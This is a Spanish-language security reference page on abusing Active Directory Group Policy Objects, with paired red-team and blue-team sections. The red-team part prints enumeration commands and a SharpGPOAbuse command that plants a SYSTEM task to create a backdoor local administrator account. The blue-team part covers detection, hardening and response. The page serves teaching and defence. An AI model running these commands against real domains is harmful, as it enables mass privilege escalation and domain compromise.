Abuso de GPO
Las Group Policy Objects (GPO) son el mecanismo por el que AD aplica configuración a usuarios y equipos: políticas de seguridad, scripts de inicio, instalación de software, tareas programadas, miembros de grupos locales. Una GPO se vincula a OUs, sitios o al dominio, y todos los objetos en ese alcance la ejecutan. Esa potencia es el problema: si un atacante puede modificar una GPO (o crear y vincular una), ejecuta código o concede privilegios en masa en cada equipo afectado —potencialmente todo el dominio.
Modelo de amenaza
Sección titulada «Modelo de amenaza»Las GPO son, de facto, ejecución remota de código a escala, gobernada por ACLs. El riesgo es doble: permisos de escritura sobre una GPO existente (que muchos equipos aplican), y permisos para vincular GPOs a una OU (creas una maliciosa y la enlazas donde haya objetos jugosos). Como las GPO se refrescan solas (~90 min) y se aplican con privilegios de SYSTEM/usuario, el efecto es inmediato y amplio.
Red Team
Sección titulada «Red Team»Descubrimiento
Sección titulada «Descubrimiento»# quién puede editar/vincular GPOs (PowerView / BloodHound)Get-DomainGPO | Get-DomainObjectAcl -ResolveGUIDs | ? {$_.ActiveDirectoryRights -match 'Write|Create'}Get-DomainGPOLocalGroup # GPOs que otorgan membresía de grupo localGet-DomainGPOUserLocalGroupMapping -Identity user # dónde soy admin local vía GPOBloodHound marca aristas GenericWrite/GenericAll/WriteDacl sobre GPO y GpLink sobre OUs → rutas de abuso directas.
Explotación
Sección titulada «Explotación»Con escritura sobre una GPO, se inyecta una acción que se ejecutará en todos los equipos/usuarios del alcance:
# SharpGPOAbuse (Windows): añade una tarea inmediata que corre como SYSTEMSharpGPOAbuse.exe --AddComputerTask --TaskName "upd" --Author DOMINIO\admin \ --Command "cmd.exe" --Arguments "/c net user atacante P@ss /add & net localgroup administrators atacante /add" \ --GPOName "GPO-Vulnerable"# pyGPOAbuse (Linux): equivalente desde fuera de Windowspygpoabuse.py dominio/user:pass -gpo-id <GUID> -command "..."Acciones típicas inyectables:
- Immediate scheduled task (como SYSTEM en equipos, o como el usuario) → ejecución de código / shell.
- Añadir un usuario a Administradores locales en todos los equipos del alcance (Restricted Groups).
- Script de inicio/logon malicioso; instalación de MSI.
- Modificar derechos de usuario (p. ej. concederte SeDebug) o políticas de seguridad.
Si la GPO afecta a muchos equipos (o al propio dominio / a la OU de los DCs), esto es escalada masiva o directa a Domain Admin.
Vincular una GPO nueva
Sección titulada «Vincular una GPO nueva»Si tienes permiso de GpLink sobre una OU (aunque no sobre GPOs existentes), creas una GPO, le pones la acción maliciosa, y la vinculas a esa OU → los objetos de la OU la aplican.
Herramientas
Sección titulada «Herramientas»- SharpGPOAbuse (Windows) — inyecta tareas, grupos locales, scripts en una GPO.
- pyGPOAbuse (Linux) — equivalente remoto.
- PowerView — enumeración de ACLs de GPO y mapeo de admin local por GPO.
- BloodHound — aristas de abuso (WriteGPO, GpLink) y qué equipos caen.
- Group3r / PingCastle — auditoría de GPOs (también defensiva).
Impacto
Sección titulada «Impacto»Ejecución de código como SYSTEM y/o concesión de admin local en todos los equipos del alcance de la GPO, simultáneamente. Sobre una GPO de amplio alcance o sobre la OU de los DCs, es compromiso del dominio completo.
Blue Team
Sección titulada «Blue Team»Detección
Sección titulada «Detección»- Cambios en GPOs (modificación de
gPCFileSysPath, ficheros enSYSVOL\...\Policies\): auditar escrituras en SYSVOL y eventos de cambio de GPO. - Aparición de tareas programadas / Restricted Groups nuevas aplicadas vía GPO en muchos equipos a la vez.
- Nuevos vínculos de GPO (
gPLink) sobre OUs, especialmente la de DCs. - Creación de usuarios locales / adición a Administradores en masa.
Telemetría
Sección titulada «Telemetría»Auditoría de cambios en objetos GPO (5136) y de archivos en SYSVOL; Sysmon en endpoints para tareas/scripts aplicados por GPO; alertas sobre cambios en la GPO Default Domain / Domain Controllers.
Hardening
Sección titulada «Hardening»- Minimiza quién puede editar y vincular GPOs: audita y recorta las ACLs (WriteGPO/GpLink) con BloodHound/Group3r.
- Protege especialmente la Default Domain Policy, la Default Domain Controllers Policy y las GPOs vinculadas a la OU de DCs (Tier 0).
- Monitoriza SYSVOL por cambios; revisa GPOs legacy con GPP (
cpassword— MS14-025). - Tiering: la gestión de GPOs de Tier 0 solo desde PAWs por cuentas de Tier 0.
Respuesta
Sección titulada «Respuesta»Revierte la GPO modificada y su vínculo, elimina tareas/usuarios locales creados en los equipos afectados, rota credenciales expuestas, y si tocó DCs/dominio, trata el dominio como comprometido.
CVEs y casos reales
Sección titulada «CVEs y casos reales»- El abuso de GPO es TTP de configuración (MITRE T1484.001 Group Policy Modification), no un CVE.
- MS14-025 (GPP cpassword) — contraseñas cifradas con clave pública conocida en GPP, legibles por cualquier usuario del dominio; hallazgo clásico aún presente.
- SharpGPOAbuse/pyGPOAbuse aparecen en informes de red team y en intrusiones de ransomware que usan GPO para desplegar el payload a toda la red de golpe.
Checklist de prueba
Sección titulada «Checklist de prueba»- ¿Escritura sobre alguna GPO existente? (BloodHound WriteGPO)
- ¿Permiso de GpLink sobre alguna OU (incluida la de DCs)?
- Inyectar immediate task (SharpGPOAbuse/pyGPOAbuse) → ejecución
- Añadirte a Administradores locales vía GPO (Restricted Groups)
- ¿La GPO afecta a muchos equipos / a los DCs?
- GPP legacy con
cpassword(MS14-025) - Blue: ¿auditoría de cambios de GPO y SYSVOL activa?